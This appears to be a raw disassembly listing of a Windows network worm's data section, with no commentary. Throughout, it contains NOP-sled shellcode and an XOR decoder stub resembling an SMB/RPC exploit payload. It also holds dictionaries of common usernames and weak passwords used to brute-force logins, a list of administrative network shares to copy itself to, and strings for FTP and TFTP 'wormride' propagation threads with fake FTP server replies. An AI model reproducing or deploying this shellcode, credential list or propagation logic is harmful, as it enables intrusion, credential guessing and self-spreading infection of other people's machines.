dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
align 10h
jmp short loc_41B84A
; ---------------------------------------------------------------------------
align 4
dd 767A1567h
; ---------------------------------------------------------------------------
jmp short loc_41B852
; ---------------------------------------------------------------------------
loc_41B84A: ; CODE XREF: .data:0041B840j
nop
nop
db 67h
adc eax, 8EB767Ah
loc_41B852: ; CODE XREF: .data:0041B848j
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 9090767Ah
nop
nop
nop
nop
nop
jmp short loc_41B8A1
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 48h
dd 9088444Fh
db 90h
; ---------------------------------------------------------------------------
loc_41B8A1: ; CODE XREF: .data:0041B897j
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
dd 0
dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
db 8 dup(90h)
; ---------------------------------------------------------------------------
jmp short loc_41B97E
; ---------------------------------------------------------------------------
align 4
dd 767A1567h
; ---------------------------------------------------------------------------
jmp short loc_41B986
; ---------------------------------------------------------------------------
loc_41B97E: ; CODE XREF: .data:0041B974j
nop
nop
db 67h
adc eax, 8EB767Ah
loc_41B986: ; CODE XREF: .data:0041B97Cj
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
db 67h
adc eax, 8EB767Ah
nop
nop
jns short near ptr word_41B9F6
add [ecx], eax
jmp short loc_41B9C6
; ---------------------------------------------------------------------------
align 10h
dd 767A1567h
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_41B9C6: ; CODE XREF: .data:0041B9BCj
nop
nop
nop
nop
nop
jmp short loc_41B9D5
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 48h
dd 9088444Fh
db 90h
; ---------------------------------------------------------------------------
loc_41B9D5: ; CODE XREF: .data:0041B9CBj
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
dd 0
dd 7E0h, 4, 0
db 2 dup(0)
word_41B9F6 dw 0 ; CODE XREF: .data:0041B9B8j
dd 0D0EC8166h, 7, 129F74h, 0
dd 127D78h, 0
; ---------------------------------------------------------------------------
pusha
jmp short loc_41BA16
; =============== S U B R O U T I N E =======================================
sub_41BA13 proc near ; CODE XREF: .data:loc_41BA16p
pop ebx
push ebx
retn
sub_41BA13 endp
; ---------------------------------------------------------------------------
loc_41BA16: ; CODE XREF: .data:0041BA11j
call sub_41BA13
xor eax, eax
add al, 34h
add eax, ebx
push eax
pop ebx
loc_41BA23: ; CODE XREF: .data:0041BA4Cj
xor edx, edx
add dl, [eax]
inc eax
add dh, [eax]
inc eax
push eax
xor eax, eax
add al, 41h
sub dl, al
sub dh, al
shl dl, 4
shr dx, 4
xor eax, eax
xor dh, dh
add al, [ebx]
sub [ebx], al
add [ebx], dx
inc ebx
pop eax
xor ecx, ecx
add cl, [eax]
loopne loc_41BA23
popa
add [ebx+31h], al
mov ebp, 7FC77h
add [ecx], al
inc ebx
loc_41BA5A: ; CODE XREF: .data:0041BA5Cj
xor eax, eax
ja short loc_41BA5A
pop es
; ---------------------------------------------------------------------------
db 0
dd 4F020100h, 7E7655Bh, 0
dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r
; sub_410F60+73r ...
dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r
db 9Eh, 2 dup(0)
dd 0F50000h, 0F8000000h, 0
dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h
dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aComputer ; "computer"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aSystem ; "system"
dd offset aServer_0 ; "server"
dd offset aRoot ; "root"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOemuser ; "oemuser"
dd offset aWwwadmin ; "wwwadmin"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
; ---------------------------------------------------------------------------
clc
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
adc ah, al
inc ecx
add al, dh
retn
; ---------------------------------------------------------------------------
inc ecx
add ah, ch
retn
; ---------------------------------------------------------------------------
inc ecx
add ah, ah
retn
; ---------------------------------------------------------------------------
inc ecx
add al, ah
retn
; ---------------------------------------------------------------------------
inc ecx
add al, bl
retn
; ---------------------------------------------------------------------------
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
inc ecx
add al, cl
retn
; ---------------------------------------------------------------------------
inc ecx
add al, al
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax-4FFFBE3Dh], bh
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax-3Ch], al
inc ecx
add [eax-5FFFBE3Dh], ch
retn
; ---------------------------------------------------------------------------
inc ecx
add [ebx+eax*8-3C73FFBFh], dl
inc ecx
add [eax-7FFFBE3Dh], cl
retn
; ---------------------------------------------------------------------------
inc ecx
add [ebx+eax*8+41h], dh
add [ebx+eax*8+41h], ch
add [ebx+eax*8+41h], ah
add [eax-3Dh], ah
inc ecx
add [ebx+eax*8+41h], bl
add [ebx+eax*8+41h], dl
add [eax-3Dh], dl
inc ecx
add [eax-3Dh], cl
inc ecx
add [eax-3Dh], al
inc ecx
add [eax], bh
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax], dh
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax], ch
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax], ah
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax], bl
retn
; ---------------------------------------------------------------------------
inc ecx
add [ebx+eax*8], dl
inc ecx
add [esp+eax*8+41h], dh
add [eax], cl
retn
; ---------------------------------------------------------------------------
dw 41h
dd offset aStudent ; "student"
; ---------------------------------------------------------------------------
clc
retn 41h
; ---------------------------------------------------------------------------
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dd offset aC_0 ; "c$"
dd offset aD ; "d$"
; ---------------------------------------------------------------------------
fadd st(2), st
inc ecx
add al, dl
retn 41h
; ---------------------------------------------------------------------------
dd offset aDShared ; "d$\\shared"
; ---------------------------------------------------------------------------
mov eax, 0AC0041C2h
retn 41h
; ---------------------------------------------------------------------------
mov al, ds:8C0041C2h
retn 41h
; ---------------------------------------------------------------------------
dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
push 600041C2h
retn 41h
; ---------------------------------------------------------------------------
xor dl, al
inc ecx
add [eax], ch
retn 41h
; ---------------------------------------------------------------------------
dd offset aIpc ; "IPC$"
dd 0
dd offset byte_41DE30
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
aam 0C4h
inc ecx
add al, cl
les eax, [ecx+0]
rol ah, 41h
add [eax-4BFFBE3Ch], bh
les eax, [ecx+0]
sbb al, 0C2h
inc ecx
add [eax], bl
retn 41h
; ---------------------------------------------------------------------------
adc al, 0C2h
inc ecx
add [eax], cl
retn 41h
; ---------------------------------------------------------------------------
cld
rol dword ptr [ecx+0], 0F4h
rol dword ptr [ecx+0], 0F0h
rol dword ptr [ecx+0], 0E4h
rol dword ptr [ecx+0], 0DCh
rol dword ptr [ecx+0], 0D8h
rol dword ptr [ecx+0], 0D4h
rol dword ptr [ecx+0], 0D0h
rol dword ptr [ecx+0], 0CCh
rol dword ptr [ecx+0], 0C8h
rol dword ptr [ecx+0], 0C0h
rol dword ptr [ecx+0], 0B8h
rol dword ptr [ecx+0], 0B0h
rol dword ptr [ecx+0], 0A8h
rol dword ptr [ecx+0], 9Ch
rol dword ptr [ecx+0], 90h
rol dword ptr [ecx+0], 84h
rol dword ptr [ecx+0], 7Ch
rol dword ptr [ecx+0], 70h
rol dword ptr [ecx+0], 68h
rol dword ptr [ecx+0], 60h
rol dword ptr [ecx+0], 50h
xchg eax, edx
inc ecx
add [eax-3Fh], bl
inc ecx
add [eax+44004198h], dl
xchg eax, edx
inc ecx
add [eax-3Fh], dl
inc ecx
add [eax-3Fh], cl
inc ecx
add [eax-3Fh], al
inc ecx
add al, dl
retn
; ---------------------------------------------------------------------------
inc ecx
add al, cl
retn
; ---------------------------------------------------------------------------
dw 41h
dd offset aDemo ; "demo"
dd offset aComputer ; "computer"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_0 ; "server"
dd offset aRoot ; "root"
dd offset aNull ; "null"
dd offset aTemp ; "temp"
dd offset aTemp123 ; "temp123"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aSex ; "sex"
dd offset aLetmein ; "letmein"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWwwadmin ; "wwwadmin"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
; ---------------------------------------------------------------------------
clc
retn
; ---------------------------------------------------------------------------
dw 41h
; ---------------------------------------------------------------------------
adc ah, al
inc ecx
add al, dh
retn
; ---------------------------------------------------------------------------
inc ecx
add ah, ch
retn
; ---------------------------------------------------------------------------
inc ecx
add ah, ah
retn
; ---------------------------------------------------------------------------
inc ecx
add al, ah
retn
; ---------------------------------------------------------------------------
inc ecx
add al, bl
retn
; ---------------------------------------------------------------------------
inc ecx
add al, al
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax-4FFFBE3Dh], bh
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax-3Ch], al
inc ecx
add [eax-5FFFBE3Dh], ch
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax-40h], bh
inc ecx
add [eax+eax*8+41h], ch
add [ebx+eax*8-3C73FFBFh], dl
inc ecx
add [eax-40h], ah
inc ecx
add [eax-40h], bl
inc ecx
add [eax-40h], dl
inc ecx
add [eax-40h], cl
inc ecx
add al, dh
rol byte ptr [ecx+0], 88h
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax-40h], al
inc ecx
add [eax], bh
rol byte ptr [ecx+0], 30h
rol byte ptr [ecx+0], 28h
rol byte ptr [ecx+0], 80h
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax+eax*8], bl
inc ecx
add [eax+eax*8], cl
inc ecx
add [ebx+eax*8+41h], dh
add [ebx+eax*8+41h], ch
add [eax+eax*8], al
inc ecx
add al, bh
mov edi, 0BFE80041h
inc ecx
add [ebx+eax*8+41h], ah
add ah, dl
mov edi, 0BFD00041h
inc ecx
add ah, cl
mov edi, 0BFC40041h
inc ecx
add [eax-3Dh], ah
inc ecx
add [ebx+eax*8+41h], bl
add [eax-5BFFBE41h], dh
mov edi, 0C3540041h
inc ecx
add [eax-3Dh], dl
inc ecx
add [eax-3Dh], cl
inc ecx
add [eax-3Dh], al
inc ecx
add [eax], bh
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax], dh
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax-67FFBE41h], ah
mov edi, 0BF940041h
inc ecx
add [eax], ch
retn
; ---------------------------------------------------------------------------
inc ecx
add [eax], ah
retn
; ---------------------------------------------------------------------------
inc ecx
add [edi+edi*4-407BFFBFh], cl
inc ecx
add [eax], bl
retn
; ---------------------------------------------------------------------------
inc ecx
add [ebx+eax*8], dl
inc ecx
add [esp+eax*8+41h], dh
add [eax], cl
retn
; ---------------------------------------------------------------------------
dw 41h
dd offset aStudent ; "student"
; ---------------------------------------------------------------------------
clc
retn 41h
; ---------------------------------------------------------------------------
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
aWinpass db 'winpass',0
aBlank db 'blank',0
align 4
aXp_0 db 'xp',0
align 4
aNokia db 'nokia',0
align 10h
aHp db 'hp',0
align 4
aOrainstall db 'orainstall',0
align 10h
aSqlpassoainsta db 'sqlpassoainstall',0
align 4
aDb1234 db 'db1234',0
align 4
aDb2 db 'db2',0
aDb1 db 'db1',0
aDatabasepasswo db 'databasepassword',0
align 4
aDatabasepass db 'databasepass',0
align 4
aDbpassword db 'dbpassword',0
align 4
aDbpass db 'dbpass',0
align 4
aDomainpassword db 'domainpassword',0
align 4
aDomainpass db 'domainpass',0
align 4
aHello db 'hello',0
align 10h
aHell db 'hell',0
align 4
aLove db 'love',0
align 10h
aMoney db 'money',0
align 4
aSlut db 'slut',0
align 10h
aBitch db 'bitch',0
align 4
aFuck db 'fuck',0
align 10h
aExchange db 'exchange',0
align 4
aLoginpass db 'loginpass',0
align 4
aLogin db 'login',0
align 10h
aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co
aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o
aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o
aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o
aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co
aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o
align 10h
aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co
align 4
aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o
align 4
aOem db 'oem',0 ; DATA XREF: .data:0041BE18o
aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o
align 4
aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o
aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo
aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo
aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o
align 4
aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o
aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo
align 4
aNull db 'null',0 ; DATA XREF: .data:0041BDD8o
align 4
aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o
aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o
align 4
aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o
align 10h
aTest db 'test',0
align 4
a2005 db '2005',0
align 10h
a2004 db '2004',0
align 4
a2001 db '2001',0
align 10h
aSecret db 'secret',0
align 4
aPayday db 'payday',0
align 10h
aDeadline db 'deadline',0
align 4
aWork db 'work',0
align 4
a1234567890 db '1234567890',0
align 10h
a123456789 db '123456789',0
align 4
a12345678 db '12345678',0
align 4
a1234567 db '1234567',0
a123456 db '123456',0
align 4
a12345 db '12345',0
align 10h
a1234 db '1234',0
align 4
a123 db '123',0
a12 db '12',0
align 10h
a1:
unicode 0, <1>,0
a007 db '007',0
aPwd db 'pwd',0
aPass db 'pass',0
align 4
aPass1234 db 'pass1234',0
align 10h
aDba db 'dba',0
aPasswd db 'passwd',0
align 4
aPassword db 'password',0 ; DATA XREF: .data:0041D790o
align 4
aPassword1 db 'password1',0
align 4
aAbc db 'abc',0
aAb db 'ab',0
align 4
aA_2:
unicode 0, <a>,0
aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o
align 4
aPrint db 'print$',0
align 10h
aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0 db 'admin$',0
align 4
aAdminSystem32 db 'Admin$\system32',0
aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o
aCWinntSystem32 db 'c$\winnt\system32',0
align 10h
aCWindows db 'c$\windows',0
align 4
aCWinnt db 'c$\winnt',0
align 4
aEShared db 'e$\shared',0
align 4
aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo
align 10h
aCShared db 'c$\shared',0
align 4
aE_0 db 'e$',0
align 10h
aD db 'd$',0 ; DATA XREF: .data:0041BCD0o
align 4
aC_0 db 'c$',0 ; DATA XREF: .data:0041BCCCo
align 4
aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o
; .data:0041BF7Co
align 10h
aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o
; .data:0041BF78o
aOwner db 'owner',0
align 10h
aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o
; .data:0041BF70o
aIntranet db 'intranet',0
align 4
aLan_0 db 'lan',0
aMain db 'main',0 ; DATA XREF: .text:00416ACAo
; .text:00416AECo
align 10h
aOffice db 'office',0
align 4
aControl db 'control',0
aSiemens db 'siemens',0
aCompaq db 'compaq',0
align 10h
aDell db 'dell',0
align 4
aCisco db 'cisco',0
align 10h
aIbm db 'ibm',0
aOracle db 'oracle',0
align 4
aSql db 'sql',0
aSa db 'sa',0
align 4
aData db 'data',0
align 4
aAccess db 'access',0
align 4
aDatabase db 'database',0
align 10h
aDomain db 'domain',0
align 4
aGod db 'god',0
aBackup db 'backup',0
align 4
aTechnical db 'technical',0
align 10h
aMary db 'mary',0
align 4
aKatie db 'katie',0
align 10h
aKate db 'kate',0
align 4
aGeorge db 'george',0
align 10h
aEric db 'eric',0
align 4
aNone db 'none',0
align 10h
aGuest db 'guest',0
align 4
aChris db 'chris',0
align 10h
aIan db 'ian',0
aNeil db 'neil',0
align 4
aLee db 'lee',0
aBrian db 'brian',0
align 4
aSusan db 'susan',0
align 10h
aSue db 'sue',0 ; DATA XREF: .data:0041BC24o
; .data:0041BE78o
aSam db 'sam',0 ; DATA XREF: .data:0041BC20o
; .data:0041BE74o
aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co
; .data:0041BE70o
align 10h
aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o
; .data:0041BE6Co
align 4
aJohn db 'john',0 ; DATA XREF: .data:0041BC14o
; .data:0041BE68o
align 10h
aMike db 'mike',0 ; DATA XREF: .data:0041BC10o
; .data:0041BE64o
align 4
aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co
; .data:0041BE60o
align 10h
aFred db 'fred',0 ; DATA XREF: .data:0041BC08o
; .data:0041BE5Co
align 4
aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o
; .data:0041BE58o
aJen db 'jen',0 ; DATA XREF: .data:0041BC00o
; .data:0041BE54o
aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo
; .data:0041BE50o
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o
; .data:0041BE24o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o
; .data:0041BE1Co
aUser db 'user',0 ; DATA XREF: .data:0041BBF0o
; .data:0041BE14o
align 10h
aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo
; .data:0041BE10o
align 4
aHome db 'home',0 ; DATA XREF: .data:0041BBE8o
; .data:0041BE0Co
align 4
aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o
; .data:0041BDF8o
align 10h
aWww db 'www',0 ; DATA XREF: .data:0041BBE0o
; .data:0041BDF4o
aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo
; .data:0041BDF0o
aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o
; .data:0041BDD4o
align 10h
aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o
; .data:0041BDD0o
align 4
aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo
; .data:0041BDC0o
align 10h
aUnix db 'unix',0 ; DATA XREF: .data:0041BBC8o
; .data:0041BDBCo
align 4
aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o
; .data:0041BDB8o
align 4
aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o
aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo
align 10h
aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo
; .data:0041BD14o
align 4
aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o
; .data:0041BD10o
align 4
a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo
a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o
dword_41C514 dd 135A78h ; DATA XREF: sub_41113B+834r
align 10h
unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
aU_TransferToSC db '- %u. Transfer to %s complete.',0
aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o
dword_41C54C dd 157728h ; DATA XREF: sub_41113B+73Er
dd 2 dup(0)
dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o
; sub_41113B+7AAo
aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
align 4
a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o
; sub_41113B+751o
dword_41C5DC dd 146AF8h ; DATA XREF: sub_41113B+5B4r
dd 2 dup(0)
dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do
dword_41C5F4 dd 1227B0h ; DATA XREF: sub_41113B+4EDr
align 10h
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
align 4
dword_41C614 dd 0F6578h ; DATA XREF: sub_41113B+3EAr
align 10h
dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o
dword_41C628 dd 0FED08h ; DATA XREF: sub_41113B+394r
dd 2 dup(0)
dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do
; sub_41113B+4A6o
dword_41C63C dd 128230h ; DATA XREF: sub_41113B+33Er
dd 2 dup(0)
dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o
dword_41C654 dd 1F738h ; DATA XREF: sub_41113B+2E8r
dd 0
dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o
dword_41C664 dd 1232B8h ; DATA XREF: sub_41113B+292r
align 10h
dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo
dword_41C678 dd 124AF8h ; DATA XREF: sub_41113B+23Cr
dd 2 dup(0)
dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o
dword_41C68C dd 0FECD8h ; DATA XREF: sub_41113B+1C8r
dd 2 dup(0)
dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o
dword_41C6A0 dd 163AE8h ; DATA XREF: sub_41113B+16Br
dd 2 dup(0)
dword_41C6AC dd 0A0D20h ; DATA XREF: sub_41113B+E9o
; sub_41113B+115o ...
dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o
dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o
dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do
dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o
dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao
dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o
unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aRunningFtpWorm db '- Running FTP wormride thread',0
align 4
a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo
align 10h
aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o
unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0
align 10h
aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o
align 4
dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_411DC5+367o
aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o
; sub_411DC5+345o
align 4
unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aRunningTftpWor db '- Running TFTP wormride thread',0
aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
align 4
loc_41C7C8: ; DATA XREF: sub_4125DF+50o
jmp short loc_41C7DF
; ---------------------------------------------------------------------------
loc_41C7CA: ; CODE XREF: .data:loc_41C7DFp
mov ecx, 0
xor ecx, 0
pop esi
loc_41C7D6: ; CODE XREF: .data:0041C7DBj
xor byte ptr [ecx+esi-1], 0
loop loc_41C7D6
jmp short near ptr dword_41C7E4
; ---------------------------------------------------------------------------
loc_41C7DF: ; CODE XREF: .data:loc_41C7C8j
call loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4 dd 0 ; CODE XREF: .data:0041C7DDj
dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_4124A0+CBo
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
